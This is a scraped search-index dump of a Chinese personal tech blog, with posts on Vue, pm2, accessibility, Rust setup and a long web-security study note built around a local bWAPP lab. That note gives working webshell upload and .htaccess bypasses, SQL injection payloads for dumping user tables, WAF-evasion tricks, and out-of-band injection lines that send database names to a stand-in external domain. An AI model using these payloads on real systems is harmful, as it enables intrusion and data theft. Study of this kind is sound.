createApp(App) app.mount('#app') 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用\n通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的\nensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）\n","permalink":"https://chenjunlinabc.github.io/posts/147/","summary":"组件的渲染，更新\n组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM\nvue应用的初始化\nimport { createApp } from 'vue' import App from './app' const app = createApp(App) app.mount('#app') 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用\n通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的\nensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）","title":"vuejs底层原理学习笔记"},{"content":"保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记\n","permalink":"https://chenjunlinabc.github.io/links/","summary":"保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记","title":"链接"},{"content":"","permalink":"https://chenjunlinabc.github.io/categories/","summary":"","title":"分类"},{"content":"","permalink":"https://chenjunlinabc.github.io/tags/","summary":"","title":"标签"},{"content":"安装pm2\nnpm install pm2 -g\n执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程\npm2 start app.js \u0026ndash;watch -i max \u0026ndash;ignore-watch=\u0026ldquo;node_modules\u0026rdquo; \u0026ndash;name demo\n\u0026ndash;ignore-watch=\u0026ldquo;node_modules\u0026quot;为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹\n\u0026ndash;name为进程名字\npm2执行npm run dev\npm2 start npm \u0026ndash;watch \u0026ndash; run dev\npm2执行npm run start\npm2 start npm \u0026ndash;name demo \u0026ndash; run start\n查看PM2中的进程信息\npm2 list\n查看指定进程id的信息\npm2 show 0\n重启指定进程id的进程\npm2 restart 0\n重启全部进程\npm2 restart all\n停止指定进程id的进程\npm2 stop 0\n删除指定进程id的进程\npm2 delete 0\n查看全部进程的日志\npm2 logs\n清空所有日志文件\npm2 flush\n","permalink":"https://chenjunlinabc.github.io/posts/pm2/","summary":"安装pm2\nnpm install pm2 -g\n执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程\npm2 start app.js \u0026ndash;watch -i max \u0026ndash;ignore-watch=\u0026ldquo;node_modules\u0026rdquo; \u0026ndash;name demo\n\u0026ndash;ignore-watch=\u0026ldquo;node_modules\u0026quot;为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹\n\u0026ndash;name为进程名字\npm2执行npm run dev\npm2 start npm \u0026ndash;watch \u0026ndash; run dev\npm2执行npm run start\npm2 start npm \u0026ndash;name demo \u0026ndash; run start\n查看PM2中的进程信息\npm2 list\n查看指定进程id的信息\npm2 show 0\n重启指定进程id的进程\npm2 restart 0\n重启全部进程\npm2 restart all\n停止指定进程id的进程\npm2 stop 0\n删除指定进程id的进程\npm2 delete 0\n查看全部进程的日志\npm2 logs\n清空所有日志文件\npm2 flush","title":"简单使用Pm2---node进程管理工具"},{"content":"关于本站\n这是本人的个人博客，分享一些本人学习过程中写的笔记\n如果文章出现错误或者不正确的地方，欢迎在文章下提出，进行纠正，笔记会根据学习进度来进行更新或者修改\n本站未注明转载的文章均为原创，转载请标明来源\n本站点基于hugo构建\n免责声明\n本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：chenjunlinabc123@foxmail.com），将会在第一时间为您做相关处理\n自述：\n2002年出生，星座：摩羯座\n偏好语言：JavaScript(TypeScript)，Golang，Python，Rust\nAPP\u0026amp;小程序：Flutter，Taro\n家里蹲公司的一名干饭攻城狮\n最喜欢的游戏：CSGO，塞尔达传说：旷野之息，王者荣耀\n看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师\n目前在看小说：完美世界\n联系方式：\n邮箱：chenjunlinabc123@foxmail.com\nGitHub：https://github.com/chenjunlinabc\n书籍：\nGO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理\n","permalink":"https://chenjunlinabc.github.io/about/","summary":"关于本站\n这是本人的个人博客，分享一些本人学习过程中写的笔记\n如果文章出现错误或者不正确的地方，欢迎在文章下提出，进行纠正，笔记会根据学习进度来进行更新或者修改\n本站未注明转载的文章均为原创，转载请标明来源\n本站点基于hugo构建\n免责声明\n本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：chenjunlinabc123@foxmail.com），将会在第一时间为您做相关处理\n自述：\n2002年出生，星座：摩羯座\n偏好语言：JavaScript(TypeScript)，Golang，Python，Rust\nAPP\u0026amp;小程序：Flutter，Taro\n家里蹲公司的一名干饭攻城狮\n最喜欢的游戏：CSGO，塞尔达传说：旷野之息，王者荣耀\n看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师\n目前在看小说：完美世界\n联系方式：\n邮箱：chenjunlinabc123@foxmail.com\nGitHub：https://github.com/chenjunlinabc\n书籍：\nGO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理","title":"关于"},{"content":"常见web工具：\nburpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应\ncurl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等\npostmain\nhackbar quantum\nwappalyzer\n文件上传漏洞：没有足够的安全约束的情况下，允许上传恶意文件，例如恶意脚本，webshell等等\n文件上传漏洞关键点在于绕过\n由于法律限制的原因，禁止对其他网站非法攻击，因此需要在本地或者在自己的服务器上建立靶场渗透环境，这边使用的是bwapp（全称为buggy web Application）\n这边使用的是docker运行bwapp，也可以下载bwapp，来自己搭建（https://sourceforge.net/projects/bwapp/files/）\ndocker pull raesene/bwapp\ndocker run -d -p 0.0.0.0:80:80 raesene/bwapp\n访问127.0.0.1/install.php\n点击here来初始化，或者直接访问127.0.0.1/install.php?install=yes\n创建账号信息，点击new user，或者直接访问127.0.0.1/user_new.php\n点击login，或者直接访问127.0.0.1/login.php，根据刚才的账号信息进行登录\n简单接触文件上传漏洞\nchose your bug选择unrestricted File Upload（未经严格审记的文件上传），安全级别选择low（set your security level）\n上传一句话木马，创建shell.php文件，添加\n通过curl触发，执行curl -d \u0026rsquo;test=echo getcwd();\u0026rsquo; http://127.0.0.1/images/shell.php\n可以看到成功触发shell.php，并且服务器返回了当前执行的目录\n后缀名绕过\n安全级别选择medium（set your security level）\n常见后缀名验证方式有，黑名单（禁止哪些后缀上传），白名单（只允许哪些后缀上传）\n这里的靶场环境的web server为Apache，因此需要了解Apache解析器模块\n.htaccess绕过，当黑名单没有限制上传.htaccess文件时，并且web sever也支持.htaccess时\n上传.htaccess文件，内容为：AddType application/x-httpd-php jpg\n上传木马，shell.jpg\nAddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方式解析\n大小写绕过\n大小写用于Windows平台环境下，在Windows中，大小写是不敏感的，而在Linux环境下，大小写是敏感的\nWindows文件流绕过\n利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流\n例如：\necho hallo,word \u0026gt; hallo.txt:a.txt echo hallo \u0026gt; hallo.txt echo 666 \u0026gt; hallo.txt::$data 第一个例子中，hallo,word并没有写入到hallo.txt，而是写入到了hallo.txt下的a.txt文件流中\n第三个例子中，666写入到了hallo.txt默认文件流中\n针对于白名单进行绕过\n截断绕过（环境要求：php\u0026gt;5.3.42，magic_quotes_gpc关闭）\n搭配burpsuite来拦截http请求\n上传shell.php，通过拦截修改请求报文，修改为shell.php$00.jpg\n$00在url中会解析为0，而在ASCII中0又表示为字符串结束，因此当url出现$00时，表示字符串读取结束\n因此在上传shell.php$00.jpg时，对于先上传后检测的服务端来说，实质上传的是shell.php\nSQL注入\nSQL注入漏洞是用户应用层与数据库层的安全漏洞\n发生SQL注入的原因就是用户应用层提供的数据存在恶意SQL语句，当这些恶意SQL语句不被审查就执行的话是非常危险的，例如在一些输入框（比如搜索框）中提交一些恶意SQL语句，因为后端需要根据用户提供的数据来动态的构造SQL查询语句，而且这些动态参数存在恶意SQL语句时又没有进行过滤审查，将导致SQL注入漏洞触发\n过程：通过数据库管理系统执行SQL命令，并且将数据库管理系统的执行结果返回给web服务器，web服务器再将结果进行整合成html网页，最后发送给客户端\nGET型SQL注入漏洞是指使用GET请求方法进行URL链接拼接，来获取到超越权限的数据\nGET型SQL注入漏洞\n方法1：利用UNION操作符，并且通过SELECT 1,2,3,4,5来查找可以显示多少字段数据\nUNION SELECT 1,user(),database(),table_name,version() FROM INFORMATION_SCHEMA.tables WHERE table_schema=database() \u0026ndash;\n查找INFORMATION_SCHEMA数据库的tables表的使用了当前数据库用户名，当前数据库名称，当前数据库版本，以及当前数据库的数据表，后面的\u0026ndash;是sql注释，也可以使用#来注释掉后面的sql命令\n当查找到的数据表存在敏感名称时，例如user时，可对敏感名称的表进行查找\nUNION SELECT 1,columns,3,4,5 FROM INFORMATION_SCHEMA.columns WHERE table_name=\u0026lsquo;user\u0026rsquo; \u0026ndash;\n通过上面的命令查找user表的字段，当出现password，login等字段时，可以确定为后台的登录密码以及用户\nUNION SELECT 1,password,login,4,5 FROM user \u0026ndash;\n通过上面的命令查找user表的password和login字段\n注意：一般来说password字段返回的数据都是加密过的，而且绝大多加密算法都是不可逆的，只能通过彩虹表来碰撞\nPOST型SQL注入漏洞（主要通过http请求工具，因为post请求不是通过url发送的，http请求工具例如postman或者burpsuite，触发的方法和get型类似）\n判断SQL注入点\n能够与数据库进行交互，并且可以提交参数到网页时，那么可能存在sql注入\n单引号判断法\nhttps://webtest.xiaochenabc123.test.com?id=1'\n如果页面报错则存在SQL注入，因为sql会因为单引号个数不成对而导致sql执行错误而报错\n判断注入的参数类型（如果参数可以输入非整型，则直接使用字符串型）\n整型\nSELECT * FROM test where id = and 1=1\n字符串型\nSELECT * FROM test where id = \u0026lsquo;1\u0026rsquo; and \u0026lsquo;1\u0026rsquo;=\u0026lsquo;1\u0026rsquo;\n百分号判断法\n针对于使用了LIKE关键字的\nhttps://webtest.xiaochenabc123.test.com?id=1$' and \u0026lsquo;1\u0026rsquo;=\u0026lsquo;1\u0026rsquo; \u0026ndash;\n简单的SQL注入防御方法：\n减低错误信息的提供\n使用mysql_escape_string($id)转义，将\u0026rsquo;转义\n过滤and，or，union，select等等关键词（黑名单）\nSQL注入漏洞主要的类型：布尔型注入，可联合查询注入，基于时间延迟注入，报错型注入，可多语句查询注入\n布尔型注入\nhttps://webtest.xiaochenabc123.test.com/?id=1' and substring(version) = 5\u0026ndash;\n布尔型注入被用于盲注，上面的例子中是通过布尔型注入来判断一下数据库版本是否为5，如果是的，那么将会是正常请求\n联合查询注入（使用UNION关键字来拼接自己想要执行的SQL语句）\n基于时间延迟注入（通过判断请求响应的时间来得到想要的信息，盲注，当页面不会提供报错信息时，布尔型注入也无效时采用）\nhttps://webtest.xiaochenabc123.test.com/?id=1' and slepp(5)\u0026ndash;\nslepp函数的作用是当sql语句执行完成后等待指定秒数再去返回执行结果，通过感觉时间来确定该语句是否正常执行\n报错型注入（如果页面可以返回sql报错信息时使用，通过报错信息中获取数据）\n多语句查询型注入（当页面可以执行多条SQL语句时）\n例如：https://webtest.xiaochenabc123.test.com/?id=1; SELECT * FROM test where id =1\u0026ndash;\n多语句查询型注入可以使用时，很大可能UPDATA数据库更新或者删除数据库可以触发\nHTTP头注入\n利用http请求头，当web服务器需要从http请求头中获取信息到数据库中时（针对不进行过滤审查就直接进行数据库操作时）\n通过http请求工具，例如postman或者burpsuite，修改请求头，重放攻击\nUser-Agent: abc\u0026rsquo;, (SELECT database()) \u0026ndash;\n堆叠注入（多条sql命令一起执行）\n使用;结束当前sql命令后继续执行下一条sql命令\n联合注入和堆叠注入区别：联合注入只能进行查询操作（取决于sql命令的拼接头是查询还是更新还是删除，或者插入），而堆叠注入可以执行任意sql命令\n一般实质环境中堆叠注入用不到（可以会出现权限问题），但是一用到就威力无穷\nOOB注入（out of band，带外通道技术）\n通过生成请求体来攻击，目标服务器接收到恶意的请求体后，进一步处理，处理的过程中目标服务器可能要向外部发送请求或者向外部获取资源，而这个外部实质是攻击者控制的服务器，在进行外部的请求时，将数据一起发送给攻击者控制的服务器，最后在攻击者控制的服务器查看数据（例如：通过dns记录来显示）\nhttps://test1.xiaochenabc123.test.com/?id=1' and SELECT CONCAT(\u0026rsquo;\\\\\u0026rsquo;,(SELECT database(),\u0026rsquo;.test2.xiaochenabc123.test.com\u0026rsquo;);\nhttps://test1.xiaochenabc123.test.com/?id=1' and SELECT LOAD_FILE(CONCAT(\u0026rsquo;\\\\\u0026rsquo;,(SELECT database(),\u0026rsquo;.test2.xiaochenabc123.test.com\u0026rsquo;));\n最后在DNS记录中查看到想要的数据，上面的例子是获取当前的数据库名\n利用HTTP协议来OOB注入\nhttps://test1.xiaochenabc123.test.com/?id=1' and SELECT UTL_HTTP.REQUEST(https://test2.xiaochenabc123.test.com/test.php \u0026lsquo;||\u0026rsquo;?id=\u0026rsquo;||(SELECT database())) FROM dual;\n上面的例子是通过https://test2.xiaochenabc123.test.com的test.php记录传递的数据，并且写入到test.txt中\n混淆和绕过\n一般的注入攻击会被WAF检测和过滤掉，而混淆和绕过就是针对WAF防御的手段\n过滤词绕过\nOR可使用||绕过，AND可使用\u0026amp;\u0026amp;绕过\nunion被过滤可使用||来绕过，例如：https://test1.xiaochenabc123.test.com/?id=1\u0026rsquo; ||(SELECT user FROM usermain limit 1,1) = \u0026lsquo;root\u0026rsquo;\nlimit被过滤，可通过GROUP BY语句创建一个虚拟表，来绕过，例如：https://test1.xiaochenabc123.test.com/?id=1\u0026rsquo; || SELECT min(user),id FROM usermain GROUP BY user HAVING user=\u0026lsquo;root\u0026rsquo;\nGROUP BY被过滤，可通过SUBSTR()函数和GROUP_CONCAT()函数绕过，例如：https://test1.xiaochenabc123.test.com/?id=1\u0026rsquo; || SELECT SUBSTR((SELECT GROUP_CONCAT(user)user FROM usermain),1,1)\nSELECT和引号被过滤，可通过SUBSTR()函数绕过，例如：https://test1.xiaochenabc123.test.com/?id=1\u0026rsquo; || SUBSTR(user,1,1=0x72)\n空格被过滤，可通过/**/来替代空格来分开sql语句\n等号被过滤，可通过like关键字绕过\n双写绕过：例如union被过滤，可使用ununionion来替代，当ununionion被union被过滤机制处理后，将中间的union替代为空，导致左右两边合在了一起，从而达到绕过的目的、\n双重编码绕过：当某个url编码的参数会被WAF编码过滤时，可对参数进行二次编码，让WAF解第一层编码，但是还有第二层编码，从而达到绕过的目的\n编码注入（url编码）：%27表示\u0026rsquo;，%23表示#，%df表示无意义，%5c表示\\，%3d表示=，%2A表示*，例如：https://test1.xiaochenabc123.test.com/?id=1 %df SELECT %2A FROM test where id %3d 1 %23\n二次注入：数据库存储的数据并不安全，不应该直接调用数据库的数据，例如admin\u0026rsquo;#\n提权\nLinux的特殊权限\nSUID（Set UID）：除了rwx权限外的s权限，当某个普通用户具备运行具备SUID权限的文件时，那么当运行该文件，将会使用该文件所有者的身份去执行该文件，只要执行一结束，该身份将会消失\n例如passwd命令，该命令具备SUID权限，当执行该命令时，将表示使用root身份来执行passwd命令，从而修改/usr/bin/passwd这个密码记录文件（该文件普通用户没有任何权限，当然权限只能限制普通用户，root用户是不会被限制的）\n注意：SUID的特性，必须具备可执行权限，而且只对可执行文件有效，目录以及不可执行文件无效，提升权限的效果只在文件执行过程有效，执行结束则身份恢复，s权限必须在所有者权限上（也就是-rws\u0026ndash;x\u0026ndash;x）\nSGID（Set GID）：当s权限出现在所属组中将变成SGID权限，如：-rwx\u0026ndash;s\u0026ndash;x，同样SGID只对可执行文件有效，而且其他用户具备可执行文件，一样只在执行过程中有效\n该特殊权限的特性：在执行该具备SGID特殊权限的可执行文件时，当前用户的组身份将变成文件所属组的身份，赋予的是所属组的权限\n注意：SGID对目录也是具备效果的，只不过当目录被赋予SGID权限后，不是执行触发，而且进入该目录就会触发特性，但是前提是该目录对于普通用户具备rwx权限，这样才能发挥SGID在目录的全部功能\nSBIT（Stick BIT）：t权限，该特殊权限只对目录有效，当目录具备了SBIT特殊权限后，那么不管用户在该目录下创建的文件还是目录，都是只有该用户和root用户有权限修改和删除\n该权限的表示为：drwxrwxrwt，哪怕其他用户具备该目录的全部权限\nDDOS攻击（分布式拒绝服务攻击）\n原理：利用TCP/IP协议族的漏洞，来对目标服务器发送数据流，当超过服务器的处理能力或者服务器的带宽被饱和了，将导致服务器崩溃或者服务器网络崩溃，常见的DDOS攻击有：UDP泛洪攻击，DNS放大攻击，ICMP泛洪攻击，内存缓存放大攻击，SYN泛洪攻击，PING泛洪攻击，NTP放大攻击，ACK泛洪攻击，HTTP泛洪攻击（也就是CC攻击），Slowloris攻击，HTTP Post DDOS攻击等等\nUDP泛洪攻击：利用UDP不需要建立连接就可以发送数据包的特性，大量发送UDP数据包给目标服务器的随机端口，当服务器接收到UDP数据包时，如果该端口没有应用在监听接收数据，会给发送方发送一个数据包，来表示目标端口不可用，当量大到一定程度时，服务器将无法对合法数据进行反应，从而达到拒绝服务的目的，对于会给发送方发送数据包，可进行伪造IP地址，不但不会作用到攻击机上，还做到了匿名\nDNS放大攻击：利用DNS服务器，对DNS服务器发送DNS请求响应，但是该请求包被伪造成了目标服务器的IP，DNS服务器将会向目标服务器发送大量的数据包，从而造成网络阻塞，来达到拒绝服务的目的\nICMP泛洪攻击：通过不断发送ICMP ECHO REQUEST来对消耗目标服务器的处理器资源和带宽\n攻击者控制的僵尸机对目标服务器发送ICMP ECHO REQUEST，目标服务器需要返回ICMP ECHO REPLY，常见的攻击手法有ping\n内存缓存放大攻击：利用UDP的特性（不需要连接），当使用伪造IP对目标服务器发送http请求，目标服务器接收到请求后，发送响应到伪造的IP上，当目标服务器无法处理庞大的请求响应时，将会导致服务器崩溃和带宽饱满\n放大攻击就是利用了请求包和响应包的体积差，发送小的请求包，需要返回大的响应包，从而达到放大攻击的效果\nSYN泛洪攻击和ACK泛洪攻击都是利用TCP的三次握手的特性\nSYN泛洪攻击：伪造IP向目标服务器发送SYN包，目标服务器接收到后返回ACK给伪造IP的机子，但是接收ACK的目标是不存在的，如果不对其进行确认ACK的话，目标服务器将该次连接挂起（半连接状态），目标服务器会重复发送ACK给伪造的IP上，当量大时，挂起的连接将会消耗掉目标服务器的资源，导致其崩溃，从而达到拒绝服务攻击的目的\nACK泛洪攻击：向目标服务器发送大量的ACK数据包，实质理论和SYN泛洪攻击类似\nHTTP泛洪攻击：发送正常的请求，目标服务器需要返回响应，但是这个正常的请求是有针对性的，针对服务器需要消耗大量资源来做出响应的请求，例如搜索请求\nSlowloris攻击：利用HTTP Request的特性，通过\\r\\n\\r\\n来表示HTTP请求发送已完成，当\\r\\n\\r\\n永远不发送时，目标服务器将会保持TCP连接，并且以一种极低速度来发送数据给目标服务器，让目标服务器认为HTTP Request还没有接收完成从而保持TCP连接，当量大时，目标服务器将被占满TCP连接，从而接收不到新的请求，最后达到拒绝服务攻击的目的\n防御Slowloris攻击很简单，限制HTTP Request传输的最大时间，超时将中断连接，并且拉入黑名单\nHTTP Post DDOS攻击：和Slowloris攻击类似，一样是慢速攻击，不过是通过指定一个大的content-length，但是发送包的速度很慢，来达到保持连接，消耗目标服务器的资源\n","permalink":"https://chenjunlinabc.github.io/posts/145/","summary":"常见web工具：\nburpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应\ncurl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等\npostmain\nhackbar quantum\nwappalyzer\n文件上传漏洞：没有足够的安全约束的情况下，允许上传恶意文件，例如恶意脚本，webshell等等\n文件上传漏洞关键点在于绕过\n由于法律限制的原因，禁止对其他网站非法攻击，因此需要在本地或者在自己的服务器上建立靶场渗透环境，这边使用的是bwapp（全称为buggy web Application）\n这边使用的是docker运行bwapp，也可以下载bwapp，来自己搭建（https://sourceforge.net/projects/bwapp/files/）\ndocker pull raesene/bwapp\ndocker run -d -p 0.0.0.0:80:80 raesene/bwapp\n访问127.0.0.1/install.php\n点击here来初始化，或者直接访问127.0.0.1/install.php?install=yes\n创建账号信息，点击new user，或者直接访问127.0.0.1/user_new.php\n点击login，或者直接访问127.0.0.1/login.php，根据刚才的账号信息进行登录\n简单接触文件上传漏洞\nchose your bug选择unrestricted File Upload（未经严格审记的文件上传），安全级别选择low（set your security level）\n上传一句话木马，创建shell.php文件，添加\n通过curl触发，执行curl -d \u0026rsquo;test=echo getcwd();\u0026rsquo; http://127.0.0.1/images/shell.php\n可以看到成功触发shell.php，并且服务器返回了当前执行的目录\n后缀名绕过\n安全级别选择medium（set your security level）\n常见后缀名验证方式有，黑名单（禁止哪些后缀上传），白名单（只允许哪些后缀上传）\n这里的靶场环境的web server为Apache，因此需要了解Apache解析器模块\n.htaccess绕过，当黑名单没有限制上传.htaccess文件时，并且web sever也支持.htaccess时\n上传.htaccess文件，内容为：AddType application/x-httpd-php jpg\n上传木马，shell.jpg\nAddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方式解析\n大小写绕过\n大小写用于Windows平台环境下，在Windows中，大小写是不敏感的，而在Linux环境下，大小写是敏感的\nWindows文件流绕过\n利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流\n例如：\necho hallo,word \u0026gt; hallo.txt:a.txt echo hallo \u0026gt; hallo.","title":"web安全学习笔记"},{"content":"a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍\n让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）\n在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.\nw3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/\n妨碍障碍人士访问web页面常见是视觉障碍，一般需要使用放大镜或者屏幕缩放来访问，严重的可能需要使用屏幕阅读器\n常见的屏幕阅读器有：NVDA（windows），ChromeVox（Chrome浏览器内置），Narrator（windows内置，也就是我们说的讲述人），VoiceOver（苹果家的，像MacOS，ios，ipadOS都内置了），TalkBack（安卓内置），以及Orca（Linux内置）\nmdn对于障碍人士可访问性优化提供了建议：\n1.使用多种方式传达内容，比如从文本到语音或是视频； 2.更易理解的内容，例如使用更通俗的语言书写的文本； 3.将注意力集中在重要内容上； 4.尽量减少干扰，例如不必要的内容或广告； 5.一致的网页布局和导航； 6.相似的元素，比如未访问的下划线链接使用蓝色而访问过的使用紫色； 7.将过程划分为更有逻辑的，必要的步骤并附上进度指示器； 8.在不影响安全性的情况下尽可能让网站认证更简单；并且 9.使表单容易完成，例如带有清晰的错误消息和简单的错误恢复。\n而WCAG指南也提供了建议：\n可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））\n可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）\n可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）\n鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性\n","permalink":"https://chenjunlinabc.github.io/posts/144/","summary":"a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍\n让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）\n在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.\nw3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/\n妨碍障碍人士访问web页面常见是视觉障碍，一般需要使用放大镜或者屏幕缩放来访问，严重的可能需要使用屏幕阅读器\n常见的屏幕阅读器有：NVDA（windows），ChromeVox（Chrome浏览器内置），Narrator（windows内置，也就是我们说的讲述人），VoiceOver（苹果家的，像MacOS，ios，ipadOS都内置了），TalkBack（安卓内置），以及Orca（Linux内置）\nmdn对于障碍人士可访问性优化提供了建议：\n1.使用多种方式传达内容，比如从文本到语音或是视频； 2.更易理解的内容，例如使用更通俗的语言书写的文本； 3.将注意力集中在重要内容上； 4.尽量减少干扰，例如不必要的内容或广告； 5.一致的网页布局和导航； 6.相似的元素，比如未访问的下划线链接使用蓝色而访问过的使用紫色； 7.将过程划分为更有逻辑的，必要的步骤并附上进度指示器； 8.在不影响安全性的情况下尽可能让网站认证更简单；并且 9.使表单容易完成，例如带有清晰的错误消息和简单的错误恢复。\n而WCAG指南也提供了建议：\n可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））\n可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）\n可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）\n鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性","title":"简单了解a11y无障碍"},{"content":"Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会\n安装\n官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）\n通过rustup-init来安装Rust\nhttps://www.rust-lang.org/zh-CN/tools/install\nwindows直接安装pustup-init.exe来安装（需联网）,默认通过vc安装，建议选择2自定义安装\nLinux或者macOS则直接执行以下命令\ncurl \u0026ndash;proto \u0026lsquo;=https\u0026rsquo; \u0026ndash;tlsv1.2 -sSf https://sh.rustup.rs | sh\n注意：Rust的一些包，可能还依赖C编译器，因此最好安装一下GCC\n检查是否安装完成\nrustc \u0026ndash;version\n如果喜欢用Visual Studio Code开发，可搭配rust-analyzer插件来使用\n更新rust\nrustup update\n卸载rust和rustup\nrustup self uninstall\n在安装rustup的同时也会安装Cargo\nCargo是rust的项目构建工具和包管理器\n检查是否安装成功\ncargo \u0026ndash;version\n创建第一个rust项目\ncargo new halloword\n其中Cargo.toml文件是项目的依赖库文件\n通过编辑Cargo.toml文件来添加依赖\nrust依赖可通过https://crates.io/查找\n[package] name = \u0026quot;hallo_word\u0026quot; version = \u0026quot;0.0.1\u0026quot; edition = \u0026quot;2021\u0026quot; [dependencies] hyper = \u0026quot;0.14.20\u0026quot; # 来自https://crates.io/ # hyper = { git = \u0026quot;https://github.com/hyperium/hyper\u0026quot; } # 来自第三方社区 # hyper = { 